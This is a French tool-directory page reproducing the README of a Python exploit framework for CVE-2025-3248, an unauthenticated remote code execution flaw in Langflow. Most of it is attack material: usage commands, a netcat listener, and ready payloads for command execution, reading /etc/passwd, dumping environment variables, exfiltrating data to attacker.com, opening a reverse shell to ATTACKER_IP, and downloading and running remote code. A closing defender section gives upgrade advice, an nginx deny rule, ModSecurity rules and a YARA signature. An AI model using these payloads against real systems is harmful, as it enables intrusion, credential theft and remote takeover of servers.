Skip to content
KitploitKITPLOIT
OutilsBlog
Log in
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Outils/GitHubGitHub/drackyjr/cve-2025-3248-exploit
Scanners de VulnérabilitésAnalyse de CodeExploitationExploitation d'Applications WebCollecte d'InformationsPost-ExploitationTests d'IntrusionCommandement et ContrôleApprentissage et ÉducationRed TeamingDéveloppement de Charges Utiles
GitHubdrackyjr/cve-2025-3248-exploit

cve-2025-3248-exploit

Un framework d'exploitation complet en Python pour tester et démontrer CVE-2025-3248, une vulnérabilité critique d'exécution de code à distance non authentifiée dans Langflow versions ≤ 1.3.0.

Voir le dépôt
39il y a 10 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2025-3248 : Scanner de vulnérabilité RCE non authentifié Langflow

License Python Status CVSS EPSS

Un framework d'exploitation Python complet pour tester et démontrer CVE-2025-3248, une vulnérabilité critique d'exécution de code à distance non authentifiée dans Langflow versions ≤ 1.3.0.


🔴 Aperçu de la vulnérabilité

CVE-2025-3248 : Injection de code Langflow RCE

PropriétéValeur
ID CVECVE-2025-3248
ProduitLangflow
Versions affectées≤ 1.3.0
Type de vulnérabilitéExécution de code à distance (RCE) non authentifiée
Vecteur d'attaqueRéseau
Authentification requiseAucune
Score CVSS9.8 (Critique)
Score EPSS92,57 %
CWECWE-94 (Contrôle inapproprié de la génération de code)
Point d'accès vulnérable/api/v1/validate/code

Cause racine

La vulnérabilité réside dans le point d'accès API /api/v1/validate/code, qui accepte du code Python arbitraire et le valide à l'aide de la fonction exec() non sécurisée de Python, sans assainissement des entrées ni isolation. La vulnérabilité exploite le comportement de Python où :

  1. Les décorateurs sont évalués immédiatement lors de la définition d'une fonction
  2. Les valeurs d'arguments par défaut sont exécutées lors de l'analyse de l'arbre syntaxique abstrait (AST)
  3. Aucune validation d'entrée n'empêche l'exécution de code malveillant

Chaîne d'attaque

Attacker → POST /api/v1/validate/code → Python exec() → RCE
     ↓
   No Auth Required
     ↓
   Arbitrary Python Code
     ↓
   System Command Execution

✨ Fonctionnalités

  • ✅ Détection de point d'accès : Identifie automatiquement les instances Langflow vulnérables
  • ✅ Tests multi-étapes : 4 tests de vulnérabilité progressifs
  • ✅ Exécution de commandes : Exécute des commandes système arbitraires sur la cible
  • ✅ Extraction d'environnement : Récupère les variables d'environnement et la configuration
  • ✅ Opérations sur les fichiers : Teste les capacités de lecture/écriture de fichiers
  • ✅ Support du shell inversé : Ouvre des sessions de shell interactif inversé
  • ✅ Détection de version : Identifie les informations de version de Langflow
  • ✅ Sortie colorée : Lisibilité améliorée avec des couleurs de terminal
  • ✅ Gestion des délais d'attente : Délais d'attente configurables pour les requêtes
  • ✅ Contournement SSL/TLS : Prise en charge des certificats auto-signés

📦 Prérequis

Python >= 3.7
requests >= 2.25.0

Installer les dépendances

pip install requests

Optionnel (pour une meilleure journalisation)

pip install colorama  # Pour le support des couleurs sous Windows

🚀 Installation

Méthode 1 : Cloner depuis GitHub

git clone https://github.com/drackyjr/cve-2025-3248-exploit.git
cd cve-2025-3248-exploit
pip install -r requirements.txt
chmod +x cve_2025_3248_test.py

📖 Utilisation

Syntaxe de base

python3 cve_2025_3248_test.py -t <url_cible> [options]

Exemples de démarrage rapide

1. Analyse de vulnérabilité de base

python3 cve_2025_3248_test.py -t http://target.com

2. Exécuter une commande personnalisée

python3 cve_2025_3248_test.py -t http://target.com -c "whoami"

3. Exécuter plusieurs commandes

python3 cve_2025_3248_test.py -t http://target.com -c "cat /etc/passwd"

4. Exploitation par shell inversé (test autorisé uniquement)

Étape 1 : Démarrer un écouteur netcat sur votre machine

nc -lvnp 4444

Étape 2 : Lancer l'exploit

python3 cve_2025_3248_test.py -t http://target.com --exploit --lhost VOTRE_IP --lport 4444

Exemple :

python3 cve_2025_3248_test.py -t http://192.168.1.100:7860 --exploit --lhost 192.168.1.50 --lport 4444

5. Analyse avec délai d'attente personnalisé

python3 cve_2025_3248_test.py -t http://target.com --timeout 30

Arguments de ligne de commande

positional arguments:
  None

optional arguments:
  -t, --target TARGET       URL cible (ex. http://target.com) [OBLIGATOIRE]
  -c, --command COMMAND     Commande à exécuter (défaut : id)
  --timeout TIMEOUT         Délai d'attente des requêtes en secondes (défaut : 10)
  --exploit                 Activer le mode exploitation (shell inversé)
  --lhost LHOST            Votre adresse IP pour le shell inversé
  --lport LPORT            Votre port pour le shell inversé
  -h, --help               Afficher ce message d'aide

💾 Variations de charge utile

1. Exécution basée sur un décorateur

payload = {
    "code": """
@exec("import os; os.system('whoami')")
def vulnerable_function():
    pass
"""
}

2. Exécution par argument par défaut

payload = {
    "code": """
def test(arg=exec("__import__('subprocess').check_output(['id'])")):
    pass
"""
}

3. Exfiltration de données

payload = {
    "code": """
def test(x=exec("import requests; requests.post('http://attacker.com/exfil', data=open('/etc/passwd').read())")):
    pass
"""
}

4. Shell inversé (en une ligne)

payload = {
    "code": """
def shell(x=exec("import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('ATTACKER_IP',4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(['/bin/sh','-i'])")):
    pass
"""
}

5. Opérations de lecture de fichier

payload = {
    "code": """
def read_file(x=exec("print(open('/etc/passwd').read())")):
    pass
"""
}

6. Énumération des variables d'environnement

payload = {
    "code": """
def enum_env(x=exec("import os; print('\\n'.join([f'{k}={v}' for k,v in os.environ.items()]))")):
    pass
"""
}

7. Téléchargement et exécution

payload = {
    "code": """
def download_exec(x=exec("import urllib.request; exec(urllib.request.urlopen('http://attacker.com/payload.py').read())")):
    pass
"""
}

🔍 Détection et atténuation

Pour les défenseurs

Actions immédiates

  1. Mettre à jour Langflow

    pip install langflow>=1.3.0
    # ou
    docker pull langflow:latest
    
  2. Restreindre l'accès réseau

    # Proxy inverse Nginx - bloquer le point d'accès vulnérable
    location /api/v1/validate/code {
        deny all;
    }
    
  3. Mettre en place une authentification

    # Ajouter un middleware d'authentification
    @app.middleware("http")
    async def auth_middleware(request, call_next):
        if "/api/v1/validate/code" in request.url.path:
            if not verify_auth(request):
                return JSONResponse(status_code=401)
        return await call_next(request)
    

Règles WAF

Règle ModSecurity :

SecRule ARGS:code "@contains exec" "id:1001,phase:2,deny"
SecRule ARGS:code "@contains subprocess" "id:1002,phase:2,deny"
SecRule ARGS:code "@contains __import__" "id:1003,phase:2,deny"
SecRule ARGS:code "@contains os.system" "id:1004,phase:2,deny"

Règles de détection

Signature YARA :

rule CVE_2025_3248_Langflow_RCE {
    strings:
        $api_path = "/api/v1/validate/code"
        $exec = "exec("
        $subprocess = "subprocess"
        $os_system = "os.system"
    condition:
        $api_path and any of ($exec, $subprocess, $os_system)
}

Surveillance et journalisation

# Surveiller les requêtes suspectes
tail -f /var/log/nginx/access.log | grep "/api/v1/validate/code"
Télécharger l’outil